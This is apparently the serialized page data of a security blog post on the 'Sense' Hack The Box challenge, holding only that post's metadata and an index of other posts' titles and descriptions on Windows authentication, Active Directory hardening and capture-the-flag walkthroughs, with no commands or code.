var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sMWUE, html code.shiki .sMWUE{--shiki-default:#83A598}html pre.shiki code .sM0OT, html code.shiki .sM0OT{--shiki-default:#EBDBB2}html pre.shiki code .sG605, html code.shiki .sG605{--shiki-default:#FE8019}html pre.shiki code .sM2RB, html code.shiki .sM2RB{--shiki-default:#8EC07C}html pre.shiki code .svnLg, html code.shiki .svnLg{--shiki-default:#A89984}html pre.shiki code .sBQf5, html code.shiki .sBQf5{--shiki-default:#FB4934}",{"title":19,"searchDepth":91,"depth":91,"links":2568},[],"hack-the-box","2024-06-28","Walkthrough zur \"Sense\" Hack the Box Challenge",false,"md","\u002Fimages\u002Fposts\u002Fhack-the-box-sense\u002Fcover.webp",{},"\u002Fposts\u002Fhack-the-box-sense",{"title":5,"description":2571},"posts\u002Fhack-the-box-sense","1",[2581,2582],"writeup","freebsd","LzlkadOXxKZM0XB27jfTULK58o1As5NbDg9UWULc17E",[2585,2598,2608,2619,2626,2632,2640,2648,2653,2661,2667,2676,2683,2690,2697,2703,2710,2716,2722,2730,2741,2747,2753,2759,2765,2771,2777,2783,2789,2795,2801,2807,2809,2815,2821,2829,2835,2842],{"path":2586,"title":2587,"description":2588,"date":2589,"category":2590,"alsoIn":2591,"series":6,"tags":2593,"readingTime":202},"\u002Fposts\u002Fbarista","Barista: One Exe to Install Doppio and Ristretto","The 2FA series ends with two LSA components, an unsigned DLL in lsass and a dozen steps that have to happen in the right order. Barista is a wizard that does them one reboot at a time, from a single exe with every binary embedded and hash-checked.","2026-10-16","tools",[2592],"windows",[2592,2594,2595,2596,2597],"lsa","2fa","credential-provider","security",{"path":2599,"title":2600,"description":2601,"date":2602,"category":2592,"alsoIn":2603,"series":2604,"tags":2605,"readingTime":657},"\u002Fposts\u002Fwindows-2fa-gating-network-logons","Build Your Own 2FA for the Windows Logon, Part 3: Gating Network Logons","Part 2 refuses every network logon for an enrolled account, which makes the account safe and useless. Part 3 adds a gate you open once with a one-time code, so SMB, RPC and WinRM work again for a short window. In C++, with the full source.","2026-10-11",[2590],"Doppio · 3-part series",[2592,2594,2606,2607,2595,2597],"ntlm","smb",{"path":2609,"title":2610,"description":2611,"date":2612,"category":2590,"alsoIn":6,"series":6,"tags":2613,"readingTime":134},"\u002Fposts\u002Fadhardenkit","ADHardenKit: Hardening AD Without Breaking It","LDAP signing, SMB signing, NTLM, Kerberos with AES only. Every hardening checklist has them. I wrote a tool that turns them on in an order that doesn't break the domain.","2026-10-07",[2614,2615,2616,2617,2606,2618],"active-directory","windows-server","powershell","hardening","kerberos",{"path":2620,"title":2621,"description":2622,"date":2623,"category":2590,"alsoIn":6,"series":6,"tags":2624,"readingTime":145},"\u002Fposts\u002Fntlm-analyzer","NTLM-Analyzer: Find Out Who Still Uses NTLM","Windows logs a lot of NTLM activity, but you have to piece it together yourself. I built a tool that shows which users and programs still use NTLMv1 or NTLMv2, and what already runs over Kerberos.","2026-10-03",[2614,2606,2618,2625,2615],"auditing",{"path":2627,"title":2628,"description":2629,"date":2630,"category":2592,"alsoIn":6,"series":2604,"tags":2631,"readingTime":613},"\u002Fposts\u002Fwindows-2fa-inside-lsa","Build Your Own 2FA for the Windows Logon, Part 2: Inside LSA","The credential provider from Part 1 only sees the logon screen. Part 2 goes into LSA to close the paths it can't reach, with an authentication package and an MSV1_0 sub-authentication filter in C++.","2026-10-01",[2592,2596,2594,2595,2597],{"path":2633,"title":2634,"description":2635,"date":2636,"category":2592,"alsoIn":2637,"series":2604,"tags":2638,"readingTime":1195},"\u002Fposts\u002Fwindows-2fa-credential-provider","Build Your Own 2FA for the Windows Logon","How a Credential Provider works and how to build a working TOTP 2FA for local Windows accounts in C++. With rate limiting, replay protection and logging.","2026-09-30",[2590],[2592,2596,2595,2639,2597],"totp",{"path":2641,"title":2642,"description":2643,"date":2644,"category":2590,"alsoIn":6,"series":6,"tags":2645,"readingTime":91},"\u002Fposts\u002Fadtierkit-active-directory-tiering","ADTierKit: Automatic AD-Tiering","I got tired of building tier models by hand, so I wrote a tool for it. One PowerShell script, one JSON file.","2026-08-06",[2614,2615,2616,2646,2647],"tiering","laps",{"path":2649,"title":2650,"description":2651,"date":2644,"category":2614,"alsoIn":6,"series":6,"tags":2652,"readingTime":231},"\u002Fposts\u002Fldap-ldaps-and-active-directory","The thing with LDAP, LDAPS and Active Directory","Why LDAPS rarely fixes what security reports worry about, why you can't just block port 389, and what actually protects LDAP in Active Directory.",[],{"path":2654,"title":2655,"description":2656,"date":2657,"category":2658,"alsoIn":6,"series":6,"tags":2659,"readingTime":91},"\u002Fposts\u002Finstall-tor-exit-node","Install Tor Exit Node","How to run a Tor exit node on an anonymously rented VPS: paying with Monero, picking the provider and the country, and installing and configuring Tor.","2025-09-30","linux",[2660],"tor",{"path":2662,"title":2663,"description":2664,"date":2665,"category":2614,"alsoIn":6,"series":6,"tags":2666,"readingTime":37},"\u002Fposts\u002Fconfigure-kerberos-armoring","Configure Kerberos Armoring","Kerberos Armoring (FAST) protects the Kerberos exchange against offline brute force, replay and tampering. How to enable it in your domain with a GPO.","2025-07-28",[2618],{"path":2668,"title":2669,"description":2670,"date":2671,"category":2672,"alsoIn":6,"series":6,"tags":2673,"readingTime":905},"\u002Fposts\u002Fexchange-2019-install","Installation guide for Exchange SE and Exchange 2019","Install Exchange Server Subscription Edition (SE) or Exchange Server 2019 step by step and harden it, with WAF rules on the Sophos XG, SPF, DMARC, DKIM and more. The installation is the same for both versions.","2025-06-26","exchange",[2672,2674,2675],"exchange-se","exchange-2019",{"path":2677,"title":2678,"description":2679,"date":2680,"category":2614,"alsoIn":6,"series":6,"tags":2681,"readingTime":202},"\u002Fposts\u002Fhow-ntlm-works-active-directory","How NTLM works in Active Directory","How NTLM proves that you know a password without sending it, what the domain controller does, the difference between NTLMv1 and NTLMv2, and why Microsoft is phasing it out.","2025-05-07",[2606,2614,2682],"authentication",{"path":2684,"title":2685,"description":2686,"date":2687,"category":2614,"alsoIn":6,"series":6,"tags":2688,"readingTime":113},"\u002Fposts\u002Fadfs-installation","ADFS Installation","Basic installation guide for Active Directory Federation Services","2025-01-27",[2689],"adfs",{"path":2691,"title":2692,"description":2693,"date":2694,"category":2614,"alsoIn":6,"series":6,"tags":2695,"readingTime":91},"\u002Fposts\u002Fexample-pass-the-hash-attack","Pass the Hash Attack Example","Example of a pass the hash attack","2025-01-22",[2696],"pass-the-hash",{"path":2698,"title":2699,"description":2700,"date":2701,"category":2614,"alsoIn":6,"series":6,"tags":2702,"readingTime":145},"\u002Fposts\u002Fhow-kerberos-works-active-directory","How Kerberos works in Active Directory","How Kerberos works in Active Directory, step by step: the TGT, the service ticket and the request to the service, and why no password crosses the network.","2025-01-16",[2618],{"path":2704,"title":2705,"description":2706,"date":2707,"category":2592,"alsoIn":6,"series":6,"tags":2708,"readingTime":91},"\u002Fposts\u002Fconfigure-credential-guard-computer-accounts","Configure Credential Guard for Computer Accounts","Windows Server 2025 can move computer account passwords into Credential Guard. How to enable it by GPO, and why turning it off means a new domain join.","2025-01-15",[2709],"credential-guard",{"path":2711,"title":2712,"description":2713,"date":2714,"category":2592,"alsoIn":6,"series":6,"tags":2715,"readingTime":113},"\u002Fposts\u002Fconfigure-credential-guard-windows","Configure Credential Guard","How Credential Guard shields NTLM hashes and Kerberos tickets, how to enable it by GPO on older clients and servers, and how to check that it runs.","2025-01-13",[2709],{"path":2717,"title":2718,"description":2719,"date":2714,"category":2592,"alsoIn":6,"series":6,"tags":2720,"readingTime":91},"\u002Fposts\u002Fosconfig-windows-server-2025-security","OSConfig - Security Settings for Windows Server 2025","OSConfig applies Microsoft's recommended security settings on Windows Server 2025 without GPOs. Install the module, list templates, enable a baseline.",[2721],"osconfig",{"path":2723,"title":2724,"description":2725,"date":2726,"category":2592,"alsoIn":6,"series":6,"tags":2727,"readingTime":91},"\u002Fposts\u002Fsecure-iis-modsecurity","Secure IIS with Modsecurity","Installation guide to secure IIS with Modsecurity","2025-01-12",[2728,2729],"iis","modsecurity",{"path":2731,"title":2732,"description":2733,"date":2734,"category":2614,"alsoIn":6,"series":6,"tags":2735,"readingTime":220},"\u002Fposts\u002Fvcsa-certificate-windows-pki","Issue VCSA Certificate with Windows PKI","Replace the self-signed vCenter (VCSA) certificate with a SubCA certificate from your Windows PKI, using the VCSA Certificate Manager and WinSCP.","2025-01-09",[2736,2737,2738,2739,2740],"ad-cs","pki","vmware","vcsa","vcenter",{"path":2742,"title":2743,"description":2744,"date":2745,"category":2614,"alsoIn":6,"series":6,"tags":2746,"readingTime":672},"\u002Fposts\u002Fwindows-pki-installation","Installation guide for a Windows PKI","Step-by-step guide for a two-tier Windows PKI with root CA, sub CA and a separate CRL server, plus certificate templates, OCSP and web enrollment.","2024-12-20",[2736,2737],{"path":2748,"title":2749,"description":2750,"date":2751,"category":2569,"alsoIn":6,"series":6,"tags":2752,"readingTime":220},"\u002Fposts\u002Fhack-the-box-administrator","Hack The Box: Administrator","Walkthrough for the \"Administrator\" Hack the Box Challenge","2024-11-19",[2581,2592,2614],{"path":2754,"title":2755,"description":2756,"date":2757,"category":2614,"alsoIn":6,"series":6,"tags":2758,"readingTime":73},"\u002Fposts\u002Fsecure-active-directory-part-1","Secure Active Directory - Part 1","Part 1 of the guide to a secure Active Directory","2024-09-09",[],{"path":2760,"title":2761,"description":2762,"date":2763,"category":2569,"alsoIn":6,"series":6,"tags":2764,"readingTime":246},"\u002Fposts\u002Fhack-the-box-greenhorn","Hack The Box: Greenhorn","Walkthrough for the \"Greenhorn\" Hack the Box Challenge","2024-07-24",[2581,2658],{"path":2766,"title":2767,"description":2768,"date":2769,"category":2569,"alsoIn":6,"series":6,"tags":2770,"readingTime":202},"\u002Fposts\u002Fhack-the-box-runner","Hack The Box: Runner","Walkthrough for the \"Runner\" Hack the Box Challenge","2024-07-20",[2581,2658],{"path":2772,"title":2773,"description":2774,"date":2775,"category":2569,"alsoIn":6,"series":6,"tags":2776,"readingTime":37},"\u002Fposts\u002Fhack-the-box-ghost","Hack The Box: Ghost","Walkthrough for the \"Ghost\" Hack the Box Challenge","2024-07-18",[2581,2592,2614],{"path":2778,"title":2779,"description":2780,"date":2781,"category":2569,"alsoIn":6,"series":6,"tags":2782,"readingTime":168},"\u002Fposts\u002Fhack-the-box-knife","Hack The Box: Knife","Walkthrough for the \"Knife\" Hack the Box Challenge","2024-07-15",[2581,2658],{"path":2784,"title":2785,"description":2786,"date":2787,"category":2569,"alsoIn":6,"series":6,"tags":2788,"readingTime":91},"\u002Fposts\u002Fhack-the-box-broker","Hack The Box: Broker","Walkthrough for the \"Broker\" Hack the Box Challenge","2024-07-10",[2581,2658],{"path":2790,"title":2791,"description":2792,"date":2793,"category":2569,"alsoIn":6,"series":6,"tags":2794,"readingTime":37},"\u002Fposts\u002Fhack-the-box-permx","Hack The Box: PermX","Walkthrough zur \"PermX\" Hack the Box Challenge","2024-07-08",[2581,2658],{"path":2796,"title":2797,"description":2798,"date":2799,"category":2569,"alsoIn":6,"series":6,"tags":2800,"readingTime":91},"\u002Fposts\u002Fhack-the-box-lame","Hack The Box: Lame","Walkthrough zur \"Lame\" Hack the Box Challenge","2024-07-06",[2581,2658],{"path":2802,"title":2803,"description":2804,"date":2805,"category":2569,"alsoIn":6,"series":6,"tags":2806,"readingTime":113},"\u002Fposts\u002Fhack-the-box-analytics","Hack The Box: Analytics","Walkthrough zur \"Analytics\" Hack the Box Challenge","2024-06-30",[2581,2658],{"path":2576,"title":5,"description":2571,"date":2570,"category":2569,"alsoIn":6,"series":6,"tags":2808,"readingTime":134},[2581,2582],{"path":2810,"title":2811,"description":2812,"date":2813,"category":2569,"alsoIn":6,"series":6,"tags":2814,"readingTime":231},"\u002Fposts\u002Fhack-the-box-mailing","Hack The Box: Mailing","Walkthrough zur \"Mailing\" Hack the Box Challenge","2024-06-26",[2581,2592],{"path":2816,"title":2817,"description":2818,"date":2819,"category":2569,"alsoIn":6,"series":6,"tags":2820,"readingTime":91},"\u002Fposts\u002Fhack-the-box-jerry","Hack The Box: Jerry","Walkthrough zur \"Jerry\" Hack the Box Challenge","2024-06-20",[2581,2592],{"path":2822,"title":2823,"description":2824,"date":2825,"category":2658,"alsoIn":6,"series":6,"tags":2826,"readingTime":37},"\u002Fposts\u002Flinux-ssh-telegram-notifications","Setting up notifications via Telegram for SSH login\u002Flogoff","Get a Telegram message every time someone logs in to or out of your Linux server over SSH, with a Telegram bot, a small script and PAM.","2024-06-01",[2827,2828],"ssh","monitoring",{"path":2830,"title":2831,"description":2832,"date":2833,"category":2569,"alsoIn":6,"series":6,"tags":2834,"readingTime":305},"\u002Fposts\u002Fhack-the-box-forest","Hack The Box: Forest","Walkthrough zur \"Forest\" Hack the Box Challenge","2024-05-20",[2581,2592,2614],{"path":2836,"title":2837,"description":2838,"date":2839,"category":2672,"alsoIn":6,"series":6,"tags":2840,"readingTime":37},"\u002Fposts\u002Fpowershell-connect-to-exchange-online","Verbindung zu Exchange Online mit Powershell","Wie man sich mit PowerShell mit Exchange Online verbindet: das Modul ExchangeOnlineManagement installieren, aktuell halten und die Verbindung herstellen.","2023-10-23",[2841,2616],"m365",{"path":2843,"title":2844,"description":2845,"date":2846,"category":2672,"alsoIn":6,"series":6,"tags":2847,"readingTime":37},"\u002Fposts\u002Fexchange-october-2023-updates","Exchange Server","Neue Sicherheitsupdates (Oktober 2023)","2023-10-18",[],1792195053991]